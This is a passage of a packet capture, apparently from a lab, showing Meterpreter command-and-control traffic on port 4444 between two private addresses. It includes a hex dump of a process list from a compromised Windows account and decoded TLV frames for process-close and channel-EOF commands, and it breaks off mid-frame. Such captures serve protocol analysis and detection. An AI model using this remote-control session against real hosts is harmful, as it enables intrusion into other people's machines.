00f0  65 6d 69 2d 75 73 75 61 72 69 6f 00 00 00 00 13   emi-usuario.....
0100  00 01 08 fd 63 68 72 6f 6d 65 2e 65 78 65 00 00   ....chrome.exe..
0110  00 00 13 00 01 08 fe 63 68 72 6f 6d 65 2e 65 78   .......chrome.ex
0120  65 00 00 00 00 5e 40 00 08 ff 00 00 00 0c 00 02   e....^@.........
0130  08 fc 00 00 15 08 00 00 00 24 00 01 04 12 73 66   .........$....sf
0140  63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68 65 6d   cpro3-chemi\chem
0150  69 2d 75 73 75 61 72 69 6f 00 00 00 00 13 00 01   i-usuario.......
0160  08 fd 63 68 72 6f 6d 65 2e 65 78 65 00 00 00 00   ..chrome.exe....
0170  13 00 01 08 fe 63 68 72 6f 6d 65 2e 65 78 65 00   .....chrome.exe.
0180  00 00 00 5e 40 00 08 ff 00 00 00 0c 00 02 08 fc   ...^@...........
0190  00 00 17 20 00 00 00 24 00 01 04 12 73 66 63 70   ... ...$....sfcp
01a0  72 6f 33 2d 63 68 65 6d 69 5c 63 68 65 6d 69 2d   ro3-chemi\chemi-
01b0  75 73 75 61 72 69 6f 00 00 00 00 13 00 01 08 fd   usuario.........
01c0  63 68 72 6f 6d 65 2e 65 78 65 00 00 00 00 13 00   chrome.exe......
01d0  01 08 fe 63 68 72 6f 6d 65 2e 65 78 65 00 00 00   ...chrome.exe...
01e0  00 5e 40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00   .^@.............
01f0  1f 80 00 00 00 24 00 01 04 12 73 66 63 70 72 6f   .....$....sfcpro
0200  33 2d 63 68 65 6d 69 5c 63 68 65 6d 69 2d 75 73   3-chemi\chemi-us
0210  75 61 72 69 6f 00 00 00 00 13 00 01 08 fd 63 68   uario.........ch
0220  72 6f 6d 65 2e 65 78 65 00 00 00 00 13 00 01 08   rome.exe........
0230  fe 63 68 72 6f 6d 65 2e 65 78 65 00 00 00 00 5e   .chrome.exe....^
0240  40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00 0c b8   @...............
0250  00 00 00 24 00 01 04 12 73 66 63 70 72 6f 33 2d   ...$....sfcpro3-
0260  63 68 65 6d 69 5c 63 68 65 6d 69 2d 75 73 75 61   chemi\chemi-usua
0270  72 69 6f 00 00 00 00 13 00 01 08 fd 63 68 72 6f   rio.........chro
0280  6d 65 2e 65 78 65 00 00 00 00 13 00 01 08 fe 63   me.exe.........c
0290  68 72 6f 6d 65 2e 65 78 65 00 00 00 00 5e 40 00   hrome.exe....^@.
02a0  08 ff 00 00 00 0c 00 02 08 fc 00 00 1b d8 00 00   ................
02b0  00 24 00 01 04 12 73 66 63 70 72 6f 33 2d 63 68   .$....sfcpro3-ch
02c0  65 6d 69 5c 63 68 65 6d 69 2d 75 73 75 61 72 69   emi\chemi-usuari
02d0  6f 00 00 00 00 13 00 01 08 fd 63 68 72 6f 6d 65   o.........chrome
02e0  2e 65 78 65 00 00 00 00 13 00 01 08 fe 63 68 72   .exe.........chr
02f0  6f 6d 65 2e 65 78 65 00 00 00 00 5e 40 00 08 ff   ome.exe....^@...
0300  00 00 00 0c 00 02 08 fc 00 00 11 c4 00 00 00 24   ...............$
0310  00 01 04 12 73 66 63 70 72 6f 33 2d 63 68 65 6d   ....sfcpro3-chem
0320  69 5c 63 68 65 6d 69 2d 75 73 75 61 72 69 6f 00   i\chemi-usuario.
0330  00 00 00 13 00 01 08 fd 63 68 72 6f 6d 65 2e 65   ........chrome.e
0340  78 65 00 00 00 00 13 00 01 08 fe 63 68 72 6f 6d   xe.........chrom
0350  65 2e 65 78 65 00 00 00 00 5e 40 00 08 ff 00 00   e.exe....^@.....
0360  00 0c 00 02 08 fc 00 00 08 8c 00 00 00 24 00 01   .............$..
0370  04 12 73 66 63 70 72 6f 33 2d 63 68 65 6d 69 5c   ..sfcpro3-chemi\
0380  63 68 65 6d 69 2d 75 73 75 61 72 69 6f 00 00 00   chemi-usuario...
0390  00 13 00 01 08 fd 63 68 72 6f 6d 65 2e 65 78 65   ......chrome.exe
03a0  00 00 00 00 13 00 01 08 fe 63 68 72 6f 6d 65 2e   .........chrome.
03b0  65 78 65 00 00 00 00 5e 40 00 08 ff 00 00 00 0c   exe....^@.......
03c0  00 02 08 fc 00 00 12 04 00 00 00 24 00 01 04 12   ...........$....
03d0  73 66 63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68   sfcpro3-chemi\ch
03e0  65 6d 69 2d 75 73 75 61 72 69 6f 00 00 00 00 13   emi-usuario.....
03f0  00 01 08 fd 63 68 72 6f 6d 65 2e 65 78 65 00 00   ....chrome.exe..
0400  00 00 13 00 01 08 fe 63 68 72 6f 6d 65 2e 65 78   .......chrome.ex
0410  65 00 00 00 00 5c 40 00 08 ff 00 00 00 0c 00 02   e....\@.........
0420  08 fc 00 00 03 0c 00 00 00 24 00 01 04 12 73 66   .........$....sf
0430  63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68 65 6d   cpro3-chemi\chem
0440  69 2d 75 73 75 61 72 69 6f 00 00 00 00 12 00 01   i-usuario.......
0450  08 fd 41 6d 70 70 73 2e 65 78 65 00 00 00 00 12   ..Ampps.exe.....
0460  00 01 08 fe 41 6d 70 70 73 2e 65 78 65 00 00 00   ....Ampps.exe...
0470  00 5c 40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00   .\@.............
0480  1c 7c 00 00 00 24 00 01 04 12 73 66 63 70 72 6f   .|...$....sfcpro
0490  33 2d 63 68 65 6d 69 5c 63 68 65 6d 69 2d 75 73   3-chemi\chemi-us
04a0  75 61 72 69 6f 00 00 00 00 12 00 01 08 fd 68 74   uario.........ht
04b0  74 70 64 2e 65 78 65 00 00 00 00 12 00 01 08 fe   tpd.exe.........
```

```
04c0  68 74 74 70 64 2e 65 78 65 00 00 00 00 60 40 00   httpd.exe....`@.
04d0  08 ff 00 00 00 0c 00 02 08 fc 00 00 0d 88 00 00   ................
04e0  00 24 00 01 04 12 73 66 63 70 72 6f 33 2d 63 68   .$....sfcpro3-ch
04f0  65 6d 69 5c 63 68 65 6d 69 2d 75 73 75 61 72 69   emi\chemi-usuari
0500  6f 00 00 00 00 14 00 01 08 fd 63 6f 6e 68 6f 73   o.........conhos
0510  74 2e 65 78 65 00 00 00 00 14 00 01 08 fe 63 6f   t.exe.........co
0520  6e 68 6f 73 74 2e 65 78 65 00 00 00 00 5c 40 00   nhost.exe....\@.
0530  08 ff 00 00 00 0c 00 02 08 fc 00 00 0a 40 00 00   .............@..
0540  00 24 00 01 04 12 73 66 63 70 72 6f 33 2d 63 68   .$....sfcpro3-ch
0550  65 6d 69 5c 63 68 65 6d 69 2d 75 73 75 61 72 69   emi\chemi-usuari
0560  6f 00 00 00 00 12 00 01 08 fd 68 74 74 70 64 2e   o.........httpd.
0570  65 78 65 00 00 00 00 12 00 01 08 fe 68 74 74 70   exe.........http
0580  64 2e 65 78 65 00 00 00 00 5e 40 00 08 ff 00 00   d.exe....^@.....
0590  00 0c 00 02 08 fc 00 00 19 98 00 00 00 24 00 01   .............$..
05a0  04 12 73 66 63 70 72 6f 33 2d 63 68 65 6d 69 5c   ..sfcpro3-chemi\
05b0  63 68 65 6d 69 2d 75 73 75 61 72 69 6f 00 00 00   chemi-usuario...
05c0  00 13 00 01 08 fd 6d 79 73 71 6c 64 2e 65 78 65   ......mysqld.exe
05d0  00 00 00 00 13 00 01 08 fe 6d 79 73 71 6c 64 2e   .........mysqld.
05e0  65 78 65 00 00 00 00 5e 40 00 08 ff 00 00 00 0c   exe....^@.......
05f0  00 02 08 fc 00 00 1e f4 00 00 00 24 00 01 04 12   ...........$....
0600  73 66 63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68   sfcpro3-chemi\ch
0610  65 6d 69 2d 75 73 75 61 72 69 6f 00 00 00 00 13   emi-usuario.....
0620  00 01 08 fd 63 68 72 6f 6d 65 2e 65 78 65 00 00   ....chrome.exe..
0630  00 00 13 00 01 08 fe 63 68 72 6f 6d 65 2e 65 78   .......chrome.ex
0640  65 00 00 00 00 66 40 00 08 ff 00 00 00 0c 00 02   e....f@.........
0650  08 fc 00 00 27 7c 00 00 00 24 00 01 04 12 73 66   ....'|...$....sf
0660  63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68 65 6d   cpro3-chemi\chem
0670  69 2d 75 73 75 61 72 69 6f 00 00 00 00 17 00 01   i-usuario.......
0680  08 fd 56 69 72 74 75 61 6c 42 6f 78 2e 65 78 65   ..VirtualBox.exe
0690  00 00 00 00 17 00 01 08 fe 56 69 72 74 75 61 6c   .........Virtual
06a0  42 6f 78 2e 65 78 65 00 00 00 00 66 40 00 08 ff   Box.exe....f@...
06b0  00 00 00 0c 00 02 08 fc 00 00 27 84 00 00 00 24   ..........'....$
06c0  00 01 04 12 73 66 63 70 72 6f 33 2d 63 68 65 6d   ....sfcpro3-chem
06d0  69 5c 63 68 65 6d 69 2d 75 73 75 61 72 69 6f 00   i\chemi-usuario.
06e0  00 00 00 17 00 01 08 fd 56 69 72 74 75 61 6c 42   ........VirtualB
06f0  6f 78 2e 65 78 65 00 00 00 00 17 00 01 08 fe 56   ox.exe.........V
0700  69 72 74 75 61 6c 42 6f 78 2e 65 78 65 00 00 00   irtualBox.exe...
0710  00 66 40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00   .f@.............
0720  27 8c 00 00 00 24 00 01 04 12 73 66 63 70 72 6f   '....$....sfcpro
0730  33 2d 63 68 65 6d 69 5c 63 68 65 6d 69 2d 75 73   3-chemi\chemi-us
0740  75 61 72 69 6f 00 00 00 00 17 00 01 08 fd 56 69   uario.........Vi
0750  72 74 75 61 6c 42 6f 78 2e 65 78 65 00 00 00 00   rtualBox.exe....
0760  17 00 01 08 fe 56 69 72 74 75 61 6c 42 6f 78 2e   .....VirtualBox.
0770  65 78 65 00 00 00 00 5e 40 00 08 ff 00 00 00 0c   exe....^@.......
0780  00 02 08 fc 00 00 25 18 00 00 00 24 00 01 04 12   ......%....$....
0790  73 66 63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68   sfcpro3-chemi\ch
07a0  65 6d 69 2d 75 73 75 61 72 69 6f 00 00 00 00 13   emi-usuario.....
07b0  00 01 08 fd 63 68 72 6f 6d 65 2e 65 78 65 00 00   ....chrome.exe..
07c0  00 00 13 00 01 08 fe 63 68 72 6f 6d 65 2e 65 78   .......chrome.ex
07d0  65 00 00 00 00 5e 40 00 08 ff 00 00 00 0c 00 02   e....^@.........
07e0  08 fc 00 00 24 1c 00 00 00 24 00 01 04 12 73 66   ....$....$....sf
07f0  63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68 65 6d   cpro3-chemi\chem
0800  69 2d 75 73 75 61 72 69 6f 00 00 00 00 13 00 01   i-usuario.......
0810  08 fd 63 68 72 6f 6d 65 2e 65 78 65 00 00 00 00   ..chrome.exe....
0820  13 00 01 08 fe 63 68 72 6f 6d 65 2e 65 78 65 00   .....chrome.exe.
0830  00 00 00 60 40 00 08 ff 00 00 00 0c 00 02 08 fc   ...`@...........
0840  00 00 27 f8 00 00 00 24 00 01 04 12 73 66 63 70   ..'....$....sfcp
0850  72 6f 33 2d 63 68 65 6d 69 5c 63 68 65 6d 69 2d   ro3-chemi\chemi-
0860  75 73 75 61 72 69 6f 00 00 00 00 14 00 01 08 fd   usuario.........
0870  64 6c 6c 68 6f 73 74 2e 65 78 65 00 00 00 00 14   dllhost.exe.....
0880  00 01 08 fe 64 6c 6c 68 6f 73 74 2e 65 78 65 00   ....dllhost.exe.
0890  00 00 00 5a 40 00 08 ff 00 00 00 0c 00 02 08 fc   ...Z@...........
08a0  00 00 26 08 00 00 00 24 00 01 04 12 73 66 63 70   ..&....$....sfcp
08b0  72 6f 33 2d 63 68 65 6d 69 5c 63 68 65 6d 69 2d   ro3-chemi\chemi-
08c0  75 73 75 61 72 69 6f 00 00 00 00 11 00 01 08 fd   usuario.........
08d0  43 6f 64 65 2e 65 78 65 00 00 00 00 11 00 01 08   Code.exe........
08e0  fe 43 6f 64 65 2e 65 78 65 00 00 00 00 5a 40 00   .Code.exe....Z@.
08f0  08 ff 00 00 00 0c 00 02 08 fc 00 00 26 d8 00 00   ............&...
0900  00 24 00 01 04 12 73 66 63 70 72 6f 33 2d 63 68   .$....sfcpro3-ch
0910  65 6d 69 5c 63 68 65 6d 69 2d 75 73 75 61 72 69   emi\chemi-usuari
0920  6f 00 00 00 00 11 00 01 08 fd 43 6f 64 65 2e 65   o.........Code.e
0930  78 65 00 00 00 00 11 00 01 08 fe 43 6f 64 65 2e   xe.........Code.
0940  65 78 65 00 00 00 00 5a 40 00 08 ff 00 00 00 0c   exe....Z@.......
0950  00 02 08 fc 00 00 27 c4 00 00 00 24 00 01 04 12   ......'....$....
0960  73 66 63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68   sfcpro3-chemi\ch
0970  65 6d 69 2d 75 73 75 61 72 69 6f 00 00 00 00 11   emi-usuario.....
0980  00 01 08 fd 43 6f 64 65 2e 65 78 65 00 00 00 00   ....Code.exe....
0990  11 00 01 08 fe 43 6f 64 65 2e 65 78 65 00 00 00   .....Code.exe...
09a0  00 5a 40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00   .Z@.............
09b0  26 cc 00 00 00 24 00 01 04 12 73 66 63 70 72 6f   &....$....sfcpro
09c0  33 2d 63 68 65 6d 69 5c 63 68 65 6d 69 2d 75 73   3-chemi\chemi-us
09d0  75 61 72 69 6f 00 00 00 00 11 00 01 08 fd 43 6f   uario.........Co
09e0  64 65 2e 65 78 65 00 00 00 00 11 00 01 08 fe 43   de.exe.........C
09f0  6f 64 65 2e 65 78 65 00 00 00 00 5a 40 00 08 ff   ode.exe....Z@...
0a00  00 00 00 0c 00 02 08 fc 00 00 29 2c 00 00 00 24   ..........),...$
```

```
0a10  00 01 04 12 73 66 63 70 72 6f 33 2d 63 68 65 6d   ....sfcpro3-chem
0a20  69 5c 63 68 65 6d 69 2d 75 73 75 61 72 69 6f 00   i\chemi-usuario.
0a30  00 00 00 11 00 01 08 fd 43 6f 64 65 2e 65 78 65   ........Code.exe
0a40  00 00 00 00 11 00 01 08 fe 43 6f 64 65 2e 65 78   .........Code.ex
0a50  65 00 00 00 00 5a 40 00 08 ff 00 00 00 0c 00 02   e....Z@.........
0a60  08 fc 00 00 22 fc 00 00 00 24 00 01 04 12 73 66   ....".....$....sf
0a70  63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68 65 6d   cpro3-chemi\chem
0a80  69 2d 75 73 75 61 72 69 6f 00 00 00 00 11 00 01   i-usuario.......
0a90  08 fd 43 6f 64 65 2e 65 78 65 00 00 00 00 11 00   ..Code.exe......
0aa0  01 08 fe 43 6f 64 65 2e 65 78 65 00 00 00 00 6e   ...Code.exe....n
0ab0  40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00 2a 04   @.............*.
0ac0  00 00 00 24 00 01 04 12 73 66 63 70 72 6f 33 2d   ...$....sfcpro3-
0ad0  63 68 65 6d 69 5c 63 68 65 6d 69 2d 75 73 75 61   chemi\chemi-usua
0ae0  72 69 6f 00 00 00 00 1b 00 01 08 fd 53 79 73 74   rio.........Syst
0af0  65 6d 53 65 74 74 69 6e 67 73 2e 65 78 65 00 00   emSettings.exe..
0b00  00 00 1b 00 01 08 fe 53 79 73 74 65 6d 53 65 74   .......SystemSet
0b10  74 69 6e 67 73 2e 65 78 65 00 00 00 00 5e 40 00   tings.exe....^@.
0b20  08 ff 00 00 00 0c 00 02 08 fc 00 00 0e 30 00 00   .............0..
0b30  00 24 00 01 04 12 73 66 63 70 72 6f 33 2d 63 68   .$....sfcpro3-ch
0b40  65 6d 69 5c 63 68 65 6d 69 2d 75 73 75 61 72 69   emi\chemi-usuari
0b50  6f 00 00 00 00 13 00 01 08 fd 63 68 72 6f 6d 65   o.........chrome
0b60  2e 65 78 65 00 00 00 00 13 00 01 08 fe 63 68 72   .exe.........chr
0b70  6f 6d 65 2e 65 78 65 00 00 00 00 5e 40 00 08 ff   ome.exe....^@...
0b80  00 00 00 0c 00 02 08 fc 00 00 29 8c 00 00 00 0c   ..........).....
0b90  00 01 04 12 4e 2f 41 00 00 00 00 1f 00 01 08 fd   ....N/A.........
0ba0  53 65 61 72 63 68 50 72 6f 74 6f 63 6f 6c 48 6f   SearchProtocolHo
0bb0  73 74 2e 65 78 65 00 00 00 00 1f 00 01 08 fe 53   st.exe.........S
0bc0  65 61 72 63 68 50 72 6f 74 6f 63 6f 6c 48 6f 73   earchProtocolHos
0bd0  74 2e 65 78 65 00 00 00 00 5a 40 00 08 ff 00 00   t.exe....Z@.....
0be0  00 0c 00 02 08 fc 00 00 25 24 00 00 00 0c 00 01   ........%$......
0bf0  04 12 4e 2f 41 00 00 00 00 1d 00 01 08 fd 53 65   ..N/A.........Se
0c00  61 72 63 68 46 69 6c 74 65 72 48 6f 73 74 2e 65   archFilterHost.e
0c10  78 65 00 00 00 00 1d 00 01 08 fe 53 65 61 72 63   xe.........Searc
0c20  68 46 69 6c 74 65 72 48 6f 73 74 2e 65 78 65 00   hFilterHost.exe.
0c30  00 00 00 68 40 00 08 ff 00 00 00 0c 00 02 08 fc   ...h@...........
0c40  00 00 26 2c 00 00 00 24 00 01 04 12 73 66 63 70   ..&,...$....sfcp
0c50  72 6f 33 2d 63 68 65 6d 69 5c 63 68 65 6d 69 2d   ro3-chemi\chemi-
0c60  75 73 75 61 72 69 6f 00 00 00 00 18 00 01 08 fd   usuario.........
0c70  73 6d 61 72 74 73 63 72 65 65 6e 2e 65 78 65 00   smartscreen.exe.
0c80  00 00 00 18 00 01 08 fe 73 6d 61 72 74 73 63 72   ........smartscr
0c90  65 65 6e 2e 65 78 65 00 00 00 00 58 40 00 08 ff   een.exe....X@...
0ca0  00 00 00 0c 00 02 08 fc 00 00 21 88 00 00 00 24   ..........!....$
0cb0  00 01 04 12 73 66 63 70 72 6f 33 2d 63 68 65 6d   ....sfcpro3-chem
0cc0  69 5c 63 68 65 6d 69 2d 75 73 75 61 72 69 6f 00   i\chemi-usuario.
0cd0  00 00 00 10 00 01 08 fd 63 6d 64 2e 65 78 65 00   ........cmd.exe.
0ce0  00 00 00 10 00 01 08 fe 63 6d 64 2e 65 78 65 00   ........cmd.exe.
0cf0  00 00 00 60 40 00 08 ff 00 00 00 0c 00 02 08 fc   ...`@...........
0d00  00 00 24 fc 00 00 00 24 00 01 04 12 73 66 63 70   ..$....$....sfcp
0d10  72 6f 33 2d 63 68 65 6d 69 5c 63 68 65 6d 69 2d   ro3-chemi\chemi-
0d20  75 73 75 61 72 69 6f 00 00 00 00 14 00 01 08 fd   usuario.........
0d30  63 6f 6e 68 6f 73 74 2e 65 78 65 00 00 00 00 14   conhost.exe.....
0d40  00 01 08 fe 63 6f 6e 68 6f 73 74 2e 65 78 65 00   ....conhost.exe.
0d50  00 00 00 62 40 00 08 ff 00 00 00 0c 00 02 08 fc   ...b@...........
0d60  00 00 0f 0c 00 00 00 24 00 01 04 12 73 66 63 70   .......$....sfcp
0d70  72 6f 33 2d 63 68 65 6d 69 5c 63 68 65 6d 69 2d   ro3-chemi\chemi-
0d80  75 73 75 61 72 69 6f 00 00 00 00 15 00 01 08 fd   usuario.........
0d90  74 61 73 6b 6c 69 73 74 2e 65 78 65 00 00 00 00   tasklist.exe....
0da0  15 00 01 08 fe 74 61 73 6b 6c 69 73 74 2e 65 78   .....tasklist.ex
0db0  65 00 00 00 00 4a 40 00 08 ff 00 00 00 0c 00 02   e....J@.........
0dc0  08 fc 00 00 26 48 00 00 00 0c 00 01 04 12 4e 2f   ....&H........N/
0dd0  41 00 00 00 00 15 00 01 08 fd 57 6d 69 50 72 76   A.........WmiPrv
0de0  53 45 2e 65 78 65 00 00 00 00 15 00 01 08 fe 57   SE.exe.........W
0df0  6d 69 50 72 76 53 45 2e 65 78 65 00 00 00 00 0c   miPrvSE.exe.....
0e00  00 02 00 04 00 00 00 00                           ........
```

```
    170 3279.599356    192.168.1.42          192.168.1.41          MTRPROT  152    4444 → 50768 [PSH, ACK] Seq=8828 Ack=22403
Win=141 Len=98
Frame 170: 152 bytes on wire (1216 bits), 152 bytes captured (1216 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 8828, Ack: 22403, Len: 98
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000062 [Command length]: 98
    Type: 0x00000000 [Command type: Request]: 0
    Data: 000000210001000173746461706 95f7379735f70726f6365... [Command payload]
Meterpreter protocol, TLV details
    Data: 00000021000100017374646170695f7379735f70726f6365... [TLV]
    Command: 0x00000021 [Length]: 33
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 7374646170695f7379735f70726f636573735f636c6f7365... [Value] stdapi_sys_process_close
Meterpreter protocol, TLV details
    Data: 000000290001000237303336303532333635383335323634... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 373033363035323336353833353236343634343434353633... [Value] 70360523658352646444456308068442
Meterpreter protocol, TLV details
    Data: 0000001000100258000000020000000 [TLV]
    Command: 0x00000010 [Length]: 16
    Type: 0x00100258 [Type: Request]: TLV_TYPE_HANDLE
    Data: 0000000200000002 [Value] ⍰⍰
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 8a 64 89 40 00 40 06 52 41 c0 a8 01 2a c0 a8   ..d.@.@.RA...*..
0020  01 29 11 5c c6 50 2e 7d 34 ef a3 78 f4 d9 50 18   .).\.P.}4..x..P.
0030  00 8d 84 20 00 00 00 00 00 62 00 00 00 00 00 00   ... .....b......
0040  00 21 00 01 00 01 73 74 64 61 70 69 5f 73 79 73   .!....stdapi_sys
0050  5f 70 72 6f 63 65 73 73 5f 63 6c 6f 73 65 00 00   _process_close..
0060  00 00 29 00 01 00 02 37 30 33 36 30 35 32 33 36   ..)....703605236
0070  35 38 33 35 32 36 34 36 34 34 34 34 35 36 33 30   5835264644445630
0080  38 30 36 38 34 34 32 00 00 00 00 10 00 10 02 58   8068442........X
0090  00 00 00 02 00 00 00 02                           ........
```

```
    171 3279.600543    192.168.1.41          192.168.1.42          MTRPROT  148    50768 → 4444 [PSH, ACK] Seq=22403 Ack=8926
Win=2048 Len=94
Frame 171: 148 bytes on wire (1184 bits), 148 bytes captured (1184 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 22403, Ack: 8926, Len: 94
Meterpreter protocol, Command details here or in the tree below
    Command: 0x0000005e [Command length]: 94
    Type: 0x00000001 [Command type: Response]: 1
    Data: 00000021000100017374646170695f7379735f70726f6365... [Command payload]
Meterpreter protocol, TLV details
    Data: 00000021000100017374646170695f7379735f70726f6365... [TLV]
    Command: 0x00000021 [Length]: 33
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 7374646170695f7379735f70726f636573735f636c6f7365... [Value] stdapi_sys_process_close
Meterpreter protocol, TLV details
    Data: 00000029000100023730333630353233363538333532363634... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 37303336303532333635383335323634363434343434353633... [Value] 70360523658352646444456308068442
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000000 [Value] OK
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 86 0d 99 40 00 80 06 69 35 c0 a8 01 29 c0 a8   ....@...i5...)..
0020  01 2a c6 50 11 5c a3 78 f4 d9 2e 7d 35 51 50 18   .*.P.\.x...}5QP.
0030  08 00 d7 09 00 00 00 00 00 5e 00 00 00 01 00 00   .........^......
0040  00 21 00 01 00 01 73 74 64 61 70 69 5f 73 79 73   .!....stdapi_sys
0050  5f 70 72 6f 63 65 73 73 5f 63 6c 6f 73 65 00 00   _process_close..
0060  00 00 29 00 01 00 02 37 30 33 36 30 35 32 33 36   ..)....703605236
0070  35 38 33 35 32 36 34 36 34 34 34 34 35 36 33 30   5835264644445630
0080  38 30 36 38 34 34 32 00 00 00 00 0c 00 02 00 04   8068442.........
0090  00 00 00 00                                       ....
```

```
    172 3339.661226    192.168.1.42          192.168.1.41          MTRPROT  140    4444 → 50768 [PSH, ACK] Seq=8926 Ack=22497 
Win=141 Len=86
Frame 172: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 8926, Ack: 22497, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 0000002900010002303433323534383036393139343138373... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 303433323534383036393139343138373931313131363134... [Value] 04325480691941879111161484546398
Meterpreter protocol, TLV details
    Data: 0000000c00020032000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
    Data: 00000000 [Value] OK
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 7e 64 8b 40 00 40 06 52 4b c0 a8 01 2a c0 a8   .~d.@.@.RK...*..
0020  01 29 11 5c c6 50 2e 7d 35 51 a3 78 f5 37 50 18   .).\.P.}5Q.x.7P.
0030  00 8d 84 14 00 00 00 00 00 56 00 00 00 00 00 00   .........V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 30   el_eof....)....0
0060  34 33 32 35 34 38 30 36 39 31 39 34 31 38 37 39   4325480691941879
0070  31 31 31 31 36 31 34 38 34 35 34 36 33 39 38 00   111161484546398.
0080  00 00 00 0c 00 02 00 32 00 00 00 00               .......2....
```

```
    173 3339.661731    192.168.1.41          192.168.1.42          MTRPROT  140    50768 → 4444 [PSH, ACK] Seq=22497 Ack=9012
Win=2048 Len=86
Frame 173: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 22497, Ack: 9012, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 0000002900010002303433323534383036393139343138377... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 30343332353438303639313934313837393131313136313134... [Value] 04325480691941879111161484546398
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000001 [Value] ERROR
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 7e 0d 9a 40 00 80 06 69 3c c0 a8 01 29 c0 a8   .~..@...i<...)..
0020  01 2a c6 50 11 5c a3 78 f5 37 2e 7d 35 a7 50 18   .*.P.\.x.7.}5.P.
0030  08 00 9c 3d 00 00 00 00 00 56 00 00 00 01 00 00   ...=.....V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 30   el_eof....)....0
0060  34 33 32 35 34 38 30 36 39 31 39 34 31 38 37 39   4325480691941879
0070  31 31 31 31 36 31 34 38 34 35 34 36 33 39 38 00   111161484546398.
0080  00 00 00 0c 00 02 00 04 00 00 00 01               ............
```

```
    174 3400.268406    192.168.1.42          192.168.1.41          MTRPROT  140    4444 → 50768 [PSH, ACK] Seq=9012 Ack=22583
